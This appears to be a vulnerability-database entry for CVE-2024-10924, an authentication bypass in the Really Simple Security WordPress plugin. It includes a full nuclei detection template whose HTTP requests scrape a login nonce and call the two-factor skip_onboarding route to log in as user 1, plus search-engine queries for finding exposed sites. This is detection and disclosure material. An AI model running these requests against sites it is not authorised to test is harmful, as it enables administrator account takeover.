Browse / CVEs / CVE-2024-10924
CVE-2024-10924· really-simple-plugins / really simple security· CWE-288, CWE-306
Really Simple Security < 9.1.2 - Authentication Bypass
The Really Simple Security (Free, Pro, and Pro Multisite) plugins for WordPress are vulnerable to authentication bypass in versions 9.0.0 to 9.1.1.1. This is due to improper user check error handling in the two-factor REST API actions with the 'check_login_and_get_user' function. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, when the "Two-Factor Authentication" setting is enabled (disabled by default).
Impact
Unauthenticated attackers can exploit improper error handling in the two-factor authentication REST API to bypass authentication and log in as any user including administrators when two-factor authentication is enabled.
Fix
Fixed in 9.1.2
How to confirm it
Send: GET /wp-login.php
Send: POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding
Positive when: contains "\"redirect_to\":\"\\/wp-admin\\/\""
Send: GET /wp-admin/profile.php
Positive when: contains "Personal Options" AND contains in content_type "text/html"Run it with nuclei: nuclei -id CVE-2024-10924 -u <target>
The full check
id: CVE-2024-10924
info:
name: Really Simple Security < 9.1.2 - Authentication Bypass
author: yaser_s
severity: critical
description: |
The Really Simple Security (Free, Pro, and Pro Multisite) plugins for WordPress are vulnerable to authentication bypass in versions 9.0.0 to 9.1.1.1. This is due to improper user check error handling in the two-factor REST API actions with the 'check_login_and_get_user' function. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, when the "Two-Factor Authentication" setting is enabled (disabled by default).
impact: |
Unauthenticated attackers can exploit improper error handling in the two-factor authentication REST API to bypass authentication and log in as any user including administrators when two-factor authentication is enabled.
remediation: Fixed in 9.1.2
reference:
- https://plugins.trac.wordpress.org/browser/really-simple-ssl/tags/9.1.1.1/security/wordpress/two-fa/class-rsssl-two-factor-on-board-api.php#L277
- https://plugins.trac.wordpress.org/browser/really-simple-ssl/tags/9.1.1.1/security/wordpress/two-fa/class-rsssl-two-factor-on-board-api.php#L278
- https://plugins.trac.wordpress.org/browser/really-simple-ssl/tags/9.1.1.1/security/wordpress/two-fa/class-rsssl-two-factor-on-board-api.php#L67
- https://plugins.trac.wordpress.org/changeset/3188431/really-simple-ssl
- https://wpscan.com/vulnerability/8e1f4374-2e41-4c27-80d4-db172015c6be/
- https://www.wordfence.com/threat-intel/vulnerabilities/id/7d5d05ad-1a7a-43d2-bbbf-597e975446be?source=cve
- https://nvd.nist.gov/vuln/detail/CVE-2024-10924
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-10924
cwe-id: CWE-288,CWE-306
epss-score: 0.82218
epss-percentile: 0.9966
cpe: cpe:2.3:a:really-simple-plugins:really_simple_security:*:*:*:*:-:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: really-simple-plugins
product: really_simple_security
framework: wordpress
shodan-query: html:"/wp-content/plugins/really-simple-ssl"
fofa-query: body="/wp-content/plugins/really-simple-ssl"
tags: cve,cve2024,wp,wp-plugin,wordpress,auth-bypass,really-simple-ssl,vkev,vuln
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
GET /wp-login.php HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: nonce
part: body_1
group: 1
regex:
- '"nonce":"([a-z0-9]+)"\}'
internal: true
- raw:
- |
POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"user_id": 1,
"login_nonce": "{{nonce}}",
"redirect_to": "/wp-admin/"
}
matchers:
- type: word
part: body
words:
- '"redirect_to":"\/wp-admin\/"'
internal: true
- raw:
- |
GET /wp-admin/profile.php HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'Personal Options'
- type: word
part: content_type
words:
- 'text/html'References
- https://plugins.trac.wordpress.org/browser/really-simple-ssl/tags/9.1.1.1/security/wordpress/two-fa/class-rsssl-two-factor-on-board-api.php#L277
- https://plugins.trac.wordpress.org/browser/really-simple-ssl/tags/9.1.1.1/security/wordpress/two-fa/class-rsssl-two-factor-on-board-api.php#L278
- https://plugins.trac.wordpress.org/browser/really-simple-ssl/tags/9.1.1.1/security/wordpress/two-fa/class-rsssl-two-factor-on-board-api.php#L67
- https://plugins.trac.wordpress.org/changeset/3188431/really-simple-ssl
- https://wpscan.com/vulnerability/8e1f4374-2e41-4c27-80d4-db172015c6be/
- https://www.wordfence.com/threat-intel/vulnerabilities/id/7d5d05ad-1a7a-43d2-bbbf-597e975446be?source=cve
- https://nvd.nist.gov/vuln/detail/CVE-2024-10924
Use this check only on systems you are authorised to test. Where the data comes from